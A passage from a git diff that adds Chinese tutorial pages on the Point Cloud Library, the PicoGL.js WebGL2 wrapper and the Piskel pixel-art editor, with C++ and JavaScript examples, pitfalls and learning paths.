+ +### 5. Registration:ICP + +**Iterative Closest Point** 迭代找对应点对并最小化距离,用于两帧点云配准。PCL 提供 point-to-point、point-to-plane(需法线)等变体;大规模场景可结合 **NDT**(Normal Distributions Transform)。 + +### 6. 搜索结构:KdTree 与 Octree + +近邻查询是法线估计、特征描述子、ICP 的基础。`pcl::search::KdTree` 与 `pcl::octree` 按规模与动态更新需求选用。 + +### 7. 模块地图(入门优先序) + +| 模块 | 作用 | +| --- | --- | +| `common` | 点类型、变换、公共数据结构 | +| `io` | 文件与传感器读写 | +| `filters` | 下采样、裁剪、离群点 | +| `segmentation` | SAC、聚类 | +| `registration` | ICP、NDT | +| `features` | 法线、FPFH、SHOT 等 | +| `visualization` | PCLVisualizer 交互显示 | +| `kdtree` / `octree` | 空间索引 | + +完整列表见官方 [Walkthrough](https://pointclouds.org/documentation/tutorials/walkthrough.html)。 + +## 代码示例 + +### 示例 1:体素下采样完整程序 + +下列代码改编自官方 [VoxelGrid 教程](https://pointclouds.org/documentation/tutorials/voxel_grid.html):读入 PCD → 1 cm 体素滤波 → 保存。 + +```cpp +#include +#include +#include +#include + +int main(int argc, char** argv) { + pcl::PCLPointCloud2::Ptr cloud(new pcl::PCLPointCloud2()); + pcl::PCLPointCloud2::Ptr cloud_filtered(new pcl::PCLPointCloud2()); + + if (pcl::io::loadPCDFile(argv[1], *cloud) < 0) { + PCL_ERROR("Could not read %s\n", argv[1]); + return -1; + } + + std::cerr << "Before: " << cloud->width * cloud->height << " points\n"; + + pcl::VoxelGrid sor; + sor.setInputCloud(cloud); + sor.setLeafSize(0.01f, 0.01f, 0.01f); // 1 cm 体素 + sor.filter(*cloud_filtered); + + std::cerr << "After: " << cloud_filtered->width * cloud_filtered->height << " points\n"; + pcl::io::savePCDFileBinary("filtered.pcd", *cloud_filtered); + return 0; +} +``` + +**CMakeLists.txt** 最小片段: + +```cmake +cmake_minimum_required(VERSION 3.16) +project(pcl_voxel_demo) +find_package(PCL 1.12 REQUIRED COMPONENTS common io filters) +add_executable(voxel_demo main.cpp) +target_link_libraries(voxel_demo PRIVATE ${PCL_LIBRARIES}) +target_include_directories(voxel_demo PRIVATE ${PCL_INCLUDE_DIRS}) +``` + +Ubuntu 上通常 `sudo apt install libpcl-dev`,macOS 可用 `brew install pcl`。 + +### 示例 2:RANSAC 平面分割 + +在近似水平的点云上拟合平面,剔除外点(官方 [Planar Segmentation](https://pointclouds.org/documentation/tutorials/planar_segmentation.html) 思路): + +```cpp +#include +#include +#include +#include +#include + +int main() { + pcl::PointCloud::Ptr cloud(new pcl::PointCloud); + cloud->width = 15; + cloud->height = 1; + cloud->points.resize(15); + + for (auto& p : cloud->points) { + p.x = 1024.0f * rand() / (RAND_MAX + 1.0f); + p.y = 1024.0f * rand() / (RAND_MAX + 1.0f); + p.z = 1.0f; // 近似 z=1 平面 + } + (*cloud)[0].z = 2.0f; // 人为外点 + (*cloud)[3].z = -2.0f; + (*cloud)[6].z = 4.0f; + + pcl::ModelCoefficients::Ptr coefficients(new pcl::ModelCoefficients); + pcl::PointIndices::Ptr inliers(new pcl::PointIndices); + + pcl::SACSegmentation seg; + seg.setOptimizeCoefficients(true); + seg.setModelType(pcl::SACMODEL_PLANE); + seg.setMethodType(pcl::SAC_RANSAC); + seg.setDistanceThreshold(0.01); + seg.setInputCloud(cloud); + seg.segment(*inliers, *coefficients); + + if (inliers->indices.empty()) { + PCL_ERROR("Plane fitting failed.\n"); + return -1; + } + + // 平面 ax + by + cz + d = 0 + auto& c = coefficients->values; + std::cerr << "Plane: " << c[0] << "x + " << c[1] << "y + " + << c[2] << "z + " << c[3] << " = 0\n"; + std::cerr << "Inliers: " << inliers->indices.size() << " / " << cloud->size() << "\n"; + return 0; +} +``` + +后续可用 `pcl::ExtractIndices` 把内点/外点拆成两个子云,再对非地面点做欧氏聚类检测物体。 + +### 示例 3:Python 侧说明(可选) + +官方主推 C++;社区有 `python-pcl` 等绑定,但维护度不如 [[open3d]]。若课程作业要求 Python,建议: + +1. 用 Open3D 完成同等算法验证; +2. 或在 ROS 2 里通过 `pcl_ros` / `sensor_msgs` 与 C++ 节点交互。 + +理解 PCL 类名后,读 ROS `pcl_conversions` 与 launch 文件会轻松很多。 + +## 典型学习路径 + +1. **装环境 + 跑通 PCD 读写**:确认 `pcl_viewer room.pcd` 能显示(`pcl_tools` 包) +2. **VoxelGrid + StatisticalOutlierRemoval**:建立「先瘦身、再去噪」习惯 +3. **平面分割 + 欧氏聚类**:室内场景桌面/物体分离 +4. **法线估计 + Point-to-Plane ICP**:两帧配准 +5. **读一个 ROS `point_cloud_processor` 节点源码**:看真实管线如何串模块 + +## 常见坑 + +1. **模板类型不一致**:`PointCloud` 的滤波器不能喂 `PointXYZRGB`,需 `copyPointCloud` 或统一类型 +2. **未初始化 width/height**:`points.size()` 与 `width*height` 不一致会导致 I/O 或可视化异常 +3. **叶尺寸过小**:VoxelGrid 的 `leaf` 小于点云噪声幅度时几乎不降采样 +4. **RANSAC 阈值单位**:`distanceThreshold` 与点云坐标系一致(米 vs 毫米),差 1000 倍会直接失败 +5. **编译时间长**:PCL 依赖 Boost、Eigen、FLANN 等;只 `find_package` 需要的 `COMPONENTS`,勿链接全家桶 +6. **与 ROS 版本匹配**:ROS Noetic / Humble 自带 PCL 版本不同,混用系统 PCL 与 ROS 内置易 ABI 冲突 + +## 与相邻工具的关系 + +| 工具 | 分工 | +| --- | --- | +| [[open3d]] | 现代 Python/C++ 几何库,交互可视化友好,算法与 PCL 大量重叠 | +| [[opencv]] | 2D 图像;深度图转点云时常先用 OpenCV 再喂 PCL | +| [[assimp]] | 网格模型导入;mesh 采样成点云后可进 PCL 管线 | +| [[blender]] | 人工建模与渲染;仿真点云导出 PLY/PCD 再算法处理 | +| ROS / `sensor_msgs` | 机器人实时点云传输,底层常转 `pcl::PointCloud` | + +## 延伸资源 + +- 官方教程索引:[https://pointclouds.org/documentation/tutorials/](https://pointclouds.org/documentation/tutorials/) +- API 文档:[https://pointclouds.org/documentation/](https://pointclouds.org/documentation/) +- GitHub Wiki(开发者笔记):[https://github.com/PointCloudLibrary/pcl/wiki](https://github.com/PointCloudLibrary/pcl/wiki) +- 经典论文背景:Rusu & Cousins, *3D is here: Point Cloud Library (PCL)*, ICRA 2011 Workshop + +## 小结 + +PCL 是点云领域的 **C++ 算法百科全书**:从读入 PCD 到滤波、分割、配准、可视化,模块边界清晰,ROS 与激光雷达生态沉淀深厚。零基础可先建立「点类型 → 滤波降采样 → RANSAC 分割 → ICP 配准」的主线,再按需深入 `features` 与 `surface` 重建;若日常以 Python 实验为主,可并行学习 [[open3d]],但认读 PCL 类名与管线顺序对读机器人代码仍不可或缺。 diff --git a/src/content/docs/projects/picogl.md b/src/content/docs/projects/picogl.md new file mode 100644 index 000000000..588d3d67a --- /dev/null +++ b/src/content/docs/projects/picogl.md @@ -0,0 +1,242 @@ +--- +title: PicoGL.js — 极简 WebGL2 包装 +来源: 'https://github.com/tsherif/picogl.js' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 中级 +--- + +## 是什么 + +PicoGL.js 是一个**只包装 WebGL 2、不造 3D 引擎**的 JavaScript 渲染库。日常类比:原生 WebGL 2 像一间没有标签的配电房——每根线对应一个全局开关,你必须记住「先开哪路、再合哪闸」,顺序错一步整栋楼可能静默黑屏;PicoGL 则在配电房外面贴好名牌、把常用操作收成链式按钮,你仍然亲手接线,但不再对着裸铜线发呆。 + +库由 Tarek Sherif(BioDigital)于 2017 年发布,MIT 协议,零依赖,gzip 后约十几 KB。它**不是** Three.js 那种场景图引擎:没有 GameObject、没有材质系统、没有摄像机抽象。概念模型几乎一一对应 WebGL 2 原生对象——Program、VAO、UBO、FBO、Transform Feedback——唯一稍高层的封装是 **DrawCall**,把一次绘制所需的 program、顶点数组、uniform、纹理绑在一起。 + +目标用户是**已经理解 WebGL 2 管线**、想要少写样板代码、又不愿被高层引擎挡在着色器之外的人。官网提供从三角形到延迟渲染、SSAO、布料模拟等大量示例,npm 包名 `picogl`,每周下载约千次量级。 + +## 为什么重要 + +不理解 PicoGL,下面几件事很难讲清楚: + +- 为什么 WebGL 2 的 VAO、UBO、Transform Feedback 在原生 API 里又臭又长,而 PicoGL 用链式调用就能串起来 +- 为什么 regl 适合 WebGL 1 函数式命令,而 PicoGL 专精 WebGL 2 的「对象 + 状态追踪」模型——二者是同一问题的两代解法 +- 为什么科学可视化、医学 3D(BioDigital Human)团队选「薄封装」而不是 Three.js:需要直接操控 GLSL 3.00 ES、实例化、多渲染目标 +- 为什么「DrawCall 对象」能避免 draw 前漏绑 uniform block 或纹理单元——状态被收进对象里,而不是散落在全局 GL 上下文 + +## 核心概念 + +1. **App — 全局 GL 管家**:`PicoGL.createApp(canvas)` 创建 WebGL 2 上下文并追踪 clear 颜色、viewport、framebuffer 绑定等全局状态。链式调用 `.clearColor()`、`.drawFramebuffer()`、`.clear()` 都在 App 上完成。类比:App 是配电房总控面板,DrawCall 是各楼层分闸。 + +2. **Program — 链式编译的着色器程序**:`createProgram(vert, frag)` 同步编译链接;`createPrograms([...])` 返回 Promise,在支持的平台上**并行编译**多个 program,适合启动时批量加载 shader。PicoGL 还把 WebGL 枚举挂到 `PicoGL.FLOAT`、`PicoGL.DEPTH_TEST` 等常量上,少记一层 `gl.` 前缀。 + +3. **VertexBuffer + VertexArray(VAO)**:VertexBuffer 存顶点/实例数据;VertexArray 把「哪个 buffer 绑到哪个 attribute location」固化下来。`.vertexAttributeBuffer(0, pos)` 是 per-vertex;`.instanceAttributeBuffer(1, offset)` 是 per-instance,配合 instanced draw。VAO 的意义:切换网格时只 bind 一个 VAO,而不是重新 pointer 一遍——像给每套家具贴好「插头对应表」,搬家时整表换插。 + +4. **UniformBuffer(UBO)**:WebGL 2 允许把多个 uniform 打包成一块 std140 布局的 GPU 内存,一次绑定整个 block。PicoGL 用 `.createUniformBuffer([PicoGL.FLOAT_MAT4, ...]).set(0, matrix).update()` 描述布局与赋值,DrawCall 上 `.uniformBlock("BlockName", ubo)` 绑定。适合 MVP 矩阵、材质参数等「每帧改、多 shader 共享」的数据。 + +5. **DrawCall — 一次绘制的快照**:`createDrawCall(program, vertexArray)` 创建后链式设置 `.uniform()`、`.uniformBlock()`、`.texture()`、`.transformFeedback()`,最后 `.draw()` 或 `.drawInstanced()`。DrawCall 内部记住当前 program、VAO、纹理单元分配,减少「忘了 active texture unit」类 bug。 + +6. **Framebuffer + 多渲染目标(MRT)**:离屏渲染、延迟渲染、后处理都依赖 FBO。PicoGL 的 `createFramebuffer().colorTarget(0, tex0).colorTarget(1, tex1).depthTarget(depthTex)` 对应 WebGL 2 的 multiple render targets,比 WebGL 1 的 hack 干净得多。 + +7. **Transform Feedback**:顶点着色器输出可以写回 buffer,用于 GPU 粒子、布料、物理迭代。PicoGL 在 `createPrograms` 第三参数传 varying 名列表,再 `createTransformFeedback().feedbackBuffer(0, dest)` 挂到 DrawCall 上。 + +## 与 regl / Three.js 怎么选 + +| 维度 | PicoGL.js | regl | Three.js | +|------|-----------|------|----------| +| API 代数 | WebGL **2** 专用 | WebGL **1** 为主 | 高层场景图 | +| 抽象程度 | 薄:对象 ≈ GL 对象 | 中:命令函数 | 厚:Mesh/Scene/Camera | +| 着色器 | 手写 GLSL 3.00 ES | 手写 GLSL 1.0/3.0 | 可选 ShaderMaterial | +| 典型场景 | WebGL2 demo、医学 3D、教学 | Observable 可视化、GPGPU ping-pong | 通用 3D 产品 | + +若你已会 WebGL 2 管线、想要 regl 那种「少样板」但**必须用到 UBO/TF/instancing**,PicoGL 是更对口的选择。 + +## 实践案例 + +### 案例 1:最小三角形 + Uniform Buffer + +下面示例对应官网 README:创建 App → 异步编译 program → VBO/VAO → UBO 存两个 vec4 颜色 → DrawCall 绘制。 + +```js +import PicoGL from 'picogl' + +const canvas = document.querySelector('#gl') +const app = PicoGL.createApp(canvas).clearColor(0, 0, 0, 1) + +const vert = `#version 300 es + layout(location = 0) in vec2 position; + void main() { + gl_Position = vec4(position, 0.0, 1.0); + } +` + +const frag = `#version 300 es + precision highp float; + layout(std140) uniform ColorUniforms { + vec4 colorA; + vec4 colorB; + }; + out vec4 outColor; + void main() { + outColor = mix(colorA, colorB, gl_FragCoord.x / 800.0); + } +` + +app.createPrograms([[vert, frag]]).then(([program]) => { + const positions = app.createVertexBuffer( + PicoGL.FLOAT, + 2, + new Float32Array([-0.5, -0.5, 0.5, -0.5, 0.0, 0.5]) + ) + + const vertexArray = app.createVertexArray().vertexAttributeBuffer(0, positions) + + const uniformBuffer = app + .createUniformBuffer([PicoGL.FLOAT_VEC4, PicoGL.FLOAT_VEC4]) + .set(0, new Float32Array([1, 0, 0, 0.3])) + .set(1, new Float32Array([0, 0, 1, 0.7])) + .update() + + const drawCall = app + .createDrawCall(program, vertexArray) + .uniformBlock('ColorUniforms', uniformBuffer) + + function frame() { + app.clear() + drawCall.draw() + requestAnimationFrame(frame) + } + frame() +}) +``` + +**逐段解释**:`#version 300 es` 声明 WebGL 2 着色器;`layout(location=0)` 与 VAO 的 attribute 0 对应;UBO 里 `layout(std140) uniform ColorUniforms` 必须与 JS 侧 block 名一致;`.update()` 才把 CPU 侧修改推到 GPU——忘记调用是常见坑。`createPrograms` 用数组包一层是为了将来并行编译多组 shader。 + +### 案例 2:实例化绘制 — 一次 draw 画多个三角形 + +实例化(instancing)让 GPU 用同一套顶点数据、不同的 per-instance 属性(偏移、颜色)批量绘制。PicoGL 用 `instanceAttributeBuffer` 区分 per-vertex 与 per-instance: + +```js +const app = PicoGL.createApp(canvas).clearColor(0.1, 0.1, 0.12, 1) + +// 单个三角形的局部坐标(每顶点一份) +const positions = app.createVertexBuffer( + PicoGL.FLOAT, + 2, + new Float32Array([-0.3, -0.3, 0.3, -0.3, 0.0, 0.3]) +) + +// 三个实例的世界偏移(每实例一份) +const offsets = app.createVertexBuffer( + PicoGL.FLOAT, + 2, + new Float32Array([-0.5, 0.0, 0.0, 0.2, 0.5, 0.0]) +) + +const vertexArray = app + .createVertexArray() + .vertexAttributeBuffer(0, positions) + .instanceAttributeBuffer(1, offsets) + +const drawCall = app.createDrawCall(program, vertexArray).instances(3) + +app.clear() +drawCall.draw() // 等价于 gl.drawArraysInstanced(...) +``` + +**逐段解释**:attribute 0 走 `vertexAttribPointer` 语义,每顶点步进;attribute 1 走 `vertexAttribDivisor(1, 1)`,同一实例内所有顶点共享一份 offset。`.instances(3)` 告诉 DrawCall 画 3 个实例。若把 offsets 错绑成 `.vertexAttributeBuffer`,你会看到三个三角形叠在同一位置而不是排开。 + +### 案例 3(选读):离屏 FBO + 后处理 pass + +多 pass 渲染的标准模式:pass A 画到 FBO 纹理,pass B 全屏四边形采样该纹理。 + +```js +const colorTarget = app.createTexture2D(app.width, app.height) +const depthTarget = app.createTexture2D(app.width, app.height, { + internalFormat: PicoGL.DEPTH_COMPONENT16, +}) + +const framebuffer = app + .createFramebuffer() + .colorTarget(0, colorTarget) + .depthTarget(depthTarget) + +// Pass 1:离屏 +app.drawFramebuffer(framebuffer).clear() +sceneDrawCall.draw() + +// Pass 2:屏幕,把 FBO 颜色绑到 sampler +app.defaultDrawFramebuffer().clear() +postDrawCall.texture('sceneColor', colorTarget).draw() +``` + +**要点**:`drawFramebuffer` / `defaultDrawFramebuffer` 切换写入目标;`postDrawCall.texture` 自动分配 texture unit。resize 窗口后需重建与 `app.width/height` 匹配的 texture,否则画面拉伸或采样错位。 + +## 踩过的坑 + +1. **忘记 `uniformBuffer.update()`**:`.set()` 只改 CPU 侧镜像,不调用 `update()` GPU 读到的仍是旧值,表现像「uniform 传不进去」。 + +2. **WebGL 2 上下文创建失败**:Safari 旧版、未开实验特性的环境会拿不到 WebGL 2。PicoGL 没有 WebGL 1 回退,需先检测 `canvas.getContext('webgl2')`。 + +3. **std140 对齐**:UBO 里 `vec3` 后接 `float` 会插入 padding。布局与 GLSL `layout(std140)` 不一致会导致矩阵「看起来转了 90°」——用官网 Uniform Buffer 示例的布局表对照。 + +4. **Transform Feedback 与 rasterizer**:捕获 varying 时往往要关闭 rasterizer 或写空 fragment shader,否则仍走正常光栅化。PicoGL 示例里会配合 `RASTERIZER_DISCARD` 等状态。 + +5. **上下文丢失**:PicoGL 提供 `App.restorePrograms()` 等在 context loss 后批量恢复资源;移动端切后台可能触发,需在 `webglcontextrestored` 里重建 VAO/纹理。 + +## 适用 vs 不适用 + +**适用**: + +- 学习 WebGL 2 管线,希望 API 比裸 `gl.*` 友好但仍「看得见」底层对象 +- 需要 UBO、instancing、MRT、Transform Feedback 的 demo 或科研可视化 +- 已有 GLSL 3.00 ES shader,不想被 Three.js 材质系统包一层 +- 与 regl 类似体量的小工具:医学 3D、自定义后处理、WebGL 课程作业 + +**不适用**: + +- 需要完整 3D 引擎(动画、物理、加载 glTF 一条龙)→ Three.js / Babylon.js +- 只需 WebGL 1 或要兼容极老浏览器 → regl 或 twgl +- 团队完全零基础 3D → 先 Three.js,再读 PicoGL 理解底层 +- 目标 WebGPU → 考虑 wgpu 或原生 WebGPU API + +## 历史小故事(可跳过) + +- **2016–2017**:WebGL 2 规范落地,VAO/UBO/TF 进浏览器,但样板代码比 WebGL 1 更多。Tarek Sherif 在 BioDigital 做人体 3D 可视化,需要直接操控 WebGL 2,于是抽出 PicoGL。 +- **Khronos Meetup**:作者做过「WebGL 2 Development with PicoGL.js」分享,核心信息是「只简化状态管理,不隐藏管线」。 +- **示例库膨胀**:官网 Advanced Examples 涵盖延迟渲染、OIT、SSAO 等,证明薄封装也能搭重型渲染技术栈——关键是 shader 与 pass 设计,不是引擎品牌。 +- **与 regl 并存**:regl 偏函数式命令、WebGL 1 生态;PicoGL 偏 WebGL 2 对象模型。二者都是「懂 GL 的人用的便利层」,不是竞品关系而是代数不同。 + +## 学到什么 + +1. **薄封装的价值**:当团队已经理解管线,最缺的往往是状态追踪与链式 API,而不是又一个 SceneGraph。 +2. **DrawCall 作为边界**:把一次 draw 所需状态收进一个对象,等价于在代码里画一条「提交前检查清单」。 +3. **WebGL 2 的 UBO/VAO 是标配**:现代浏览器内做 instancing 和后处理,应默认按 WebGL 2 设计;PicoGL 把这条路径铺平了。 +4. **并行编译 shader**:启动时 `createPrograms` 批量编译,能缩短首帧黑屏——小库也可以做平台级优化。 + +## 延伸阅读 + +- 官方站点:[PicoGL.js 首页与示例](https://tsherif.github.io/picogl.js/) +- API 文档:[JSDoc 完整参考](https://tsherif.github.io/picogl.js/docs/) +- 作者教程:[WebGL 2 Development with PicoGL.js](https://tsherif.wordpress.com/2017/07/26/webgl-2-development-with-picogl-js/) +- npm:[picogl 包](https://www.npmjs.com/package/picogl) +- 仓库:[github.com/tsherif/picogl.js](https://github.com/tsherif/picogl.js) + +## 关联 + +- [[regl]] —— 函数式 WebGL 1 封装,与 PicoGL 的 WebGL 2 对象模型形成对照 +- [[three-js]] —— 高层 3D 引擎;PicoGL 适合「只要 GL 便利层」的场景 +- [[playcanvas]] —— 完整游戏引擎路线,与 PicoGL 的极简定位相反 +- [[webgl-fundamentals]] —— 理解 VAO、UBO、管线阶段后再读 PicoGL 事半功倍 +- [[d3]] —— 2D 数据可视化常配 D3;大规模 GL 点云可下沉到 PicoGL/regl 层 + +## 反向链接 + + + +- [[d3]] —— D3.js — 不是图表库,是写图表库的乐高 +- [[luma-gl]] —— luma.gl — vis.gl WebGL2/WebGPU 抽象 +- [[playcanvas]] —— PlayCanvas — 浏览器里跑的 3D 游戏引擎 +- [[regl]] —— regl — 函数式 WebGL 封装 + diff --git a/src/content/docs/projects/piskel.md b/src/content/docs/projects/piskel.md new file mode 100644 index 000000000..c6a5771bd --- /dev/null +++ b/src/content/docs/projects/piskel.md @@ -0,0 +1,297 @@ +--- +title: Piskel — Web 像素艺术编辑器 +来源: 'https://github.com/piskelapp/piskel' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 日常类比:Piskel 是「浏览器里的翻页动画本」 + +小时候在作业本角落画小人,一页一个姿势,快速翻动纸边让人物「跑起来」——Piskel 就是把这套玩法搬进浏览器: + +- **画布(Canvas)** → 固定大小的方格纸(常见 16×16、32×32、64×64),每个格子是一粒可着色的像素 +- **帧(Frame)** → 动画本里的每一页;底部时间轴可增删、复制、调顺序 +- **图层(Layer)** → 盖在同一页上的透明胶片:底层画阴影,中层画身体,顶层画武器 +- **洋葱皮(Onion Skin)** → 作画时半透明叠出前后几帧轮廓,像描摹前一页的铅笔印 +- **调色板(Palette)** → 颜料盒里只放项目允许的几种颜色,复古 Game Boy 风常用 4 色 + +和 [[aseprite]] 这类桌面专业工具相比,Piskel 的定位是**零安装、打开即画**:访问 [piskelapp.com](https://www.piskelapp.com/) 或下载离线版,几分钟内就能导出 GIF 或精灵表给 [[phaser]]、[[godot]]、[[love2d]] 使用。源码在 [piskelapp/piskel](https://github.com/piskelapp/piskel)(Apache 2.0,约 12k stars),由 Google 工程师 Julian Descottes 发起,纯 JavaScript + HTML + CSS 构建。 + +| 维度 | 说明 | +|---|---| +| 在线版 | [piskelapp.com](https://www.piskelapp.com/) | +| 儿童版 | [Piskel For Kids](https://www.piskelapp.com/piskel-for-kids)(去社交、简化界面) | +| 原生工程格式 | `.piskel`(JSON + Base64 PNG 帧数据) | +| 典型导出 | 动画 GIF、单帧 PNG、ZIP 帧序列、横向/网格精灵表 PNG、C 数组 | +| 离线版 | Windows / macOS / Linux 桌面应用(见 [Wiki: Desktop applications](https://github.com/piskelapp/piskel/wiki/Desktop-applications)) | +| 嵌入 | [piskel-embed](https://github.com/piskelapp/piskel-embed) 演示 iframe 集成 | + +--- + +## 解决什么问题 + +独立游戏、网页小游戏、教学场景里常需要**低分辨率角色动画**,但很多人不想先学 Photoshop 或购买 [[aseprite]]。Piskel 填补的缺口是: + +1. **零门槛**:无需账号即可在浏览器作画(登录后可存云端画廊) +2. **动画优先**:帧时间轴、实时预览、可调 FPS(默认常 12 FPS) +3. **游戏向导出**:一张 PNG 精灵表 + 已知帧宽即可接入引擎 +4. **开源可自托管**:可 fork 后内嵌到自己的教育平台或关卡编辑器 + +一句话:**Piskel 画像素动画,引擎读精灵表跑逻辑**——和 [[tiled]] 画关卡、[[aseprite]] 做重度时间轴是同一分工里的「轻量 Web 路线」。 + +--- + +## 核心概念 + +### 1. 像素网格与画布尺寸 + +Piskel 工作在**离散像素网格**上,不是矢量。创建项目时选定 `width × height`(如 32×32);之后可用 **RESIZE** 扩展画布,但已有像素不会自动重采样——这是像素艺术的常态,改尺寸前要心里有数。 + +**缩放预览**(1× / 最佳倍数 / 全屏)只影响显示,不改变真实分辨率。导出给游戏时永远按原始像素尺寸计算。 + +### 2. 帧(Frame)与时间轴 + +时间轴在编辑器底部:每格是一帧,可设置播放延迟。预览区实时播放,边画边看「走路是否顺」。 + +常用操作: + +| 操作 | 作用 | +|---|---| +| 复制帧 | 上一格姿势微调,适合走路循环 | +| 洋葱皮 | 显示前后帧 ghost,对齐脚落地 | +| FPS 滑块 | 全局播放速度;导出 GIF 时影响帧间隔 | + +### 3. 图层(Layer) + +多图层自下而上合成。每层有独立不透明度(0–1),可隐藏、重命名、合并。复杂角色可把「身体 / 头发 / 武器」拆开,换武器时只改顶层。 + +**Move 工具** 可勾选「应用到所有图层 / 所有帧」,批量平移整段动画——修对齐时很省事。 + +### 4. 绘图工具链 + +| 工具 | 快捷键 | 要点 | +|---|---|---| +| Pen | P | 单像素描边;配合 Mirror 画对称角色 | +| Eraser | E | 擦成透明 | +| Paint bucket | B | 同色填充;可限定当前层或全帧 | +| Rectangle / Circle | R / C | Shift 保持 1:1 比例 | +| Stroke | L | Shift 画直线 | +| Lighten / Darken | U | 快速明暗过渡,像素画阴影常用 | +| Dithering | T | 有序抖动,模拟更多「视觉色」 | +| Color picker | O | 从画布吸色 | +| 选区(矩形/套索/形状) | S / H / Z | 可跨层跨帧复制粘贴 | + +### 5. 调色板(Palettes) + +右侧 **Palettes** 面板管理项目色板;可从当前画面提取颜色,或导入预设(如 Game Boy 四色)。限制色数能强迫保持复古一致感,也方便后续在引擎里做**调色板换肤**(整图索引色替换)。 + +### 6. 导入与导出 + +**IMPORT** 支持:静态图、动画 GIF、已有 `.piskel` 工程。GIF 会拆成多帧导入时间轴。 + +**EXPORT** 主要模式: + +| 模式 | 用途 | +|---|---| +| GIF | 社交分享、原型演示 | +| PNG(单帧 / 全动画合并) | 静态资源或预览 | +| ZIP(每帧一张 PNG) | 导入 Aseprite、批处理 | +| Spritesheet PNG | **游戏引擎最常用**:多帧横排或网格排列 | +| C 数组 | 嵌入式 / 单片机 demo | + +精灵表导出时可设**每行帧数**、**间距(spacing)**、是否带**元数据 JSON**(部分版本/分支支持帧矩形信息)。 + +### 7. `.piskel` 文件格式 + +`.piskel` 本质是 JSON 文本,各层各帧以 **Base64 编码的 PNG** 嵌在 `layers` 数组里(每层又是一个 JSON 字符串)。结构示意: + +```json +{ + "modelVersion": 1, + "piskel": { + "name": "hero_run", + "description": "32x32 run cycle", + "fps": 12, + "width": 32, + "height": 32, + "layers": [ + "{\"name\":\"Layer 1\",\"opacity\":1,\"frameCount\":4,\"chunks\":[{\"layout\":[[0,1,2,3]],\"base64PNG\":\"data:image/png;base64,iVBORw0KGgo...\"}]}" + ] + } +} +``` + +`layers` 里每一项是**字符串化的 JSON**——解析时要 `JSON.parse` 两次。这种设计方便在浏览器里用 `FileReader` 直接读写,也方便版本迁移(`modelVersion` 字段)。 + +### 8. 技术栈与架构注记 + +- 渲染依赖 HTML5 **Canvas**;图层合成、导入导出历史上大量通过 Canvas API 完成 +- 依赖库包括 [gif.js](https://jnordberg.github.io/gif.js/)(Web Worker 编 GIF)、[jszip](https://stuk.github.io/jszip/)(ZIP 导出)、[supergif](https://github.com/buzzfeed/libgif-js)(GIF 导入)等 +- 2026 年起上游在推进 **Vite + TypeScript + ES modules** 现代化(见 [Issue #1246](https://github.com/piskelapp/piskel/issues/1246)),并讨论减少「以 Canvas 为数据源」以避免 Brave 等浏览器的 canvas 指纹扰动导致色差([Issue #1245](https://github.com/piskelapp/piskel/issues/1245)) + +### 9. 浏览器与平台限制 + +| 环境 | 支持情况 | +|---|---| +| Chrome / Firefox / Edge(最新桌面版) | 推荐 | +| Brave | 需关闭 canvas 指纹保护,否则颜色可能偏移 | +| 手机 / 平板 | **官方不支持**(UI 为桌面横屏设计) | +| 离线桌面版 | 支持,适合教室无网环境 | + +--- + +## 代码示例 + +### 示例 1:用 Node 解析 `.piskel` 并列出帧信息 + +在 CI 或资源管线里,可先解析工程再决定如何烘精灵表: + +```js +// parse-piskel.mjs — 读取 .piskel,打印每层每帧布局 +import { readFileSync } from 'node:fs'; + +function loadPiskel(path) { + const root = JSON.parse(readFileSync(path, 'utf8')); + const meta = root.piskel; + const layers = meta.layers.map((layerStr) => JSON.parse(layerStr)); + return { meta, layers }; +} + +const { meta, layers } = loadPiskel('./hero_run.piskel'); +console.log(`${meta.name}: ${meta.width}x${meta.height} @ ${meta.fps} FPS`); +for (const layer of layers) { + console.log(` layer "${layer.name}" opacity=${layer.opacity} frames=${layer.frameCount}`); + for (const chunk of layer.chunks) { + // layout 是二维数组,标出 chunk 内帧索引 + console.log(' layout:', chunk.layout); + } +} +``` + +输出可用于校验:帧数是否与游戏状态机一致、层名是否符合约定。 + +### 示例 2:在 Phaser 3 中加载 Piskel 导出的横向精灵表 + +在 Piskel 里 **EXPORT → PNG Spritesheet**,假设 4 帧跑步、每帧 32×32、横向一排: + +```js +// main.js — Phaser 3 播放 Piskel 导出的精灵表 +const config = { + type: Phaser.AUTO, + width: 320, + height: 180, + scene: { preload, create }, +}; + +new Phaser.Game(config); + +function preload() { + // 128x32 = 4 帧 x 32px 宽 + this.load.spritesheet('hero-run', 'assets/hero_run_sheet.png', { + frameWidth: 32, + frameHeight: 32, + }); +} + +function create() { + this.anims.create({ + key: 'run', + frames: this.anims.generateFrameNumbers('hero-run', { start: 0, end: 3 }), + frameRate: 12, // 与 Piskel 里设置的 FPS 对齐 + repeat: -1, + }); + this.add.sprite(160, 90, 'hero-run').play('run'); +} +``` + +要点:**`frameWidth` / `frameHeight` 必须等于 Piskel 单帧尺寸**;`frameRate` 与导出前预览 FPS 一致,否则动画快慢会飘。 + +### 示例 3:iframe 嵌入自托管 Piskel(piskel-embed 思路) + +若要在自己的关卡编辑器里内嵌像素画板,可自托管构建产物并用 iframe 通信。[piskel-embed](https://github.com/piskelapp/piskel-embed) 演示了加载/保存精灵的集成方式: + +```html + + + +``` + +生产环境务必:**同源或白名单 postMessage**、HTTPS、明确 CSP。儿童产品可改用官方 **Piskel For Kids** 构建,减少画廊与社交干扰。 + +--- + +## 与 Aseprite / Tiled 的分工 + +| 工具 | 强项 | 弱项 | +|---|---|---| +| **Piskel** | 浏览器即开、GIF/精灵表导出快、教学友好 | 无 CLI 批处理、复杂标签/脚本弱于 Aseprite | +| **[[aseprite]]** | 时间轴标签、Lua 脚本、CLI 烘图、索引色工作流 | 需安装/购买(官方二进制) | +| **[[tiled]]** | 瓦片地图、碰撞层、对象层 | 不负责角色帧动画 | + +典型流水线:**Piskel 画角色动画 → 导出精灵表 → Phaser/Godot 加载**;**Tiled 画关卡 → 引擎读 TMJ/TSX**。 + +--- + +## 上手路径(零基础) + +1. 打开 [piskelapp.com](https://www.piskelapp.com/),选 **Create Sprite**,画布设 **32×32** +2. 用 **Pen (P)** 画第一帧站立姿势;时间轴点 **Add new frame** 画走路第 2 帧 +3. 开启 **Onion Skin (Alt+O)**,对齐脚的位置 +4. 复制帧微调,做 4–6 帧循环;右侧调 **12 FPS** 预览 +5. **EXPORT → PNG** 选 